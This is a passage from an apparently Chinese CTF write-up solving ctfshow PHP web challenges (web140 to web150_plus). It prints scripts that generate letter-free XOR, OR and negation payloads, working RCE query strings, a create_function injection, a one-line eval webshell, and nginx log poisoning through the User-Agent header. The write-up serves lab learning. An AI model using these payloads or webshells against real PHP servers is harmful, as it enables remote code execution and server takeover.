if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
先post传f1和f2,将命令执行后的结果和ctfshow弱比较,如果为真就能得到flag,可以先在本地做一个测试,看看什么样的字符串最后能为真
<?php
$b = intval($_GET[a]);
var_dump($b=='a');
?>
发现纯字母和字母+数字的字符串都可以是真,就想到md5()
函数,加密后为字母+数字,而phpinfo()
正好是一个函数
payload:
f1=md5&f2=phpinfo
web141
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
这题考察的是无字母数字的rce,具体的可以看羽师傅的无字母数字绕过正则表达式总结,里面有很多种方法,我用的是他第一种——异或的方法,
姿势一:异或
首先可以fuzz一波,看看有哪些字符能被我们利用
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w"); // 新建一个文本文件,将可用字符放在里面
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i); // dechex()将十进制转为十六进制
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ //hex2bin()将十六进制转为ascii
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b)); # 将符合条件的字符url解码并异或
if (ord($c)>=32&ord($c)<=126) { # 对于所有字符,筛选出符合条件的
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
下面开始用这些字符来构造我们想要执行的命令
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5] # 取可用字符的第二部分
s2+=t[6:9] # 取可用字符的第三部分
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")" # 将第二部分与第三部分异或,得到想要的字符
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
再来看这题的代码,他在执行eval()
函数时,会将$v1 $v2 $v3
拼接在一起,因为v1和v2都是数字,所以要想办法绕过,只让v2的内容有效。在php中,数字和字符是可以进行一些运算的,例如1-phpinfo();
,最终还是可以执行phpinfo();
的,那么就可以用1-phpinfo();-1
来绕过
payload:
[+] your function:system
[+] your command:ls
?v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");-
[+] your function:system
[+] your command:tac flag.php
?v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");-
姿势二:或
把上面的两个脚本小改一下,将^
换成|
就可以了
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a) | urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
"""异或
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("../../phpstudy/phpstudy_pro/WWW/xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
"""
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("../../phpstudy/phpstudy_pro/WWW/xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
姿势三:取反
取反的时候基本上都用的不可见字符,不用绕过这里的正则表达式
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
payload:
[+]your function: system
[+]your command: tac flag.php
[*] (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);-
web142
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
主要是对sleep()
函数的绕过,这里想要直接得到flag,可以想到0,0乘任何数都是0
payload:
?v1=0
web143
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
这题在web141的基础上又过滤了-
和;
,那么v3开头和结尾的符号就可以变成*
或/
,;
直接省略即可
payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*
web144
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
这题换了个花样,限制v3
的长度为1,那我们就把想要执行的命令放在v2
上
payload:
?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%93%8C);&v3=-
?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5);&v3=-
web145
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
在上一题的基础上又过滤了*
和/
,考察的是三目运算符的使用
eval("return 1?phpinfo();:1");
这个代码是可以执行后出现phpinfo的页面的
payload:
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%93%8C):
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5):
web146
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
在上一题基础上过滤了;
和:
,不能用三目运算符了,但是可以用等于
eval("return 1==phpinfo()||1;");
这是可以出来phpinfo的,;
的话,用||
绕过就行
payload:
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%93%8C)||
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5)||
web147
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
可以参考下Code Breaking 挑战赛 Writeup
在PHP的命名空间默认为\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()
调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()
这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
这题可以用create_function()
函数来实现,先看这个函数的定义:
create_function('$fname','echo $fname."Zhang"')
//类似于
function fT($fname) {
echo $fname."Zhang";
}
想要执行命令,首先就要将这个函数闭合,然后才能输入想要执行的命令,并且因为这题过滤了数字和字母,可以用%5c
放在开头绕过。
payload:
GET:?show=echo 1;}system("tac f*");//
POST:ctf=%5ccreate_function
web148
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
没过滤^
,直接用上面的脚本就行
payload:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%02"^"%7d%60%60%21%60%60%28");
预期解是用中文变量
payload:
?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
"`{{{"^"?<>/"; 异或的结果是_GET,
web149
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
这题看hint应该是用条件竞争来搞,但是因为sb的ddos,群主调整了一下,现在很难去条件竞争了。但是这题还是可以写的,他并未对写入的内容有限制,可以直接写一句话木马进去
payload:
GET:?ctf=1.php
POST:show=<?php @eval($_POST[a]);?>
然后蚁剑连接即可在根目录找到flag
web150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
刚开始以为直接到反序列化了,后来才发现是变量覆盖+日志包含。分析代码,只有当isVIP
的值为1
时,才会触发include($ctf)
。这里可以通过get传isVIP=1
,通过extract()
将原来的值覆盖掉,日志路径是/var/log/nginx/access.log
payload:
GET:isVIP=1
POST:ctf=/var/log/nginx/access.log&a=system("tac fl*");
User-Agent:<?php @eval($_POST[a]);?>
web150_plus
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
exp:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py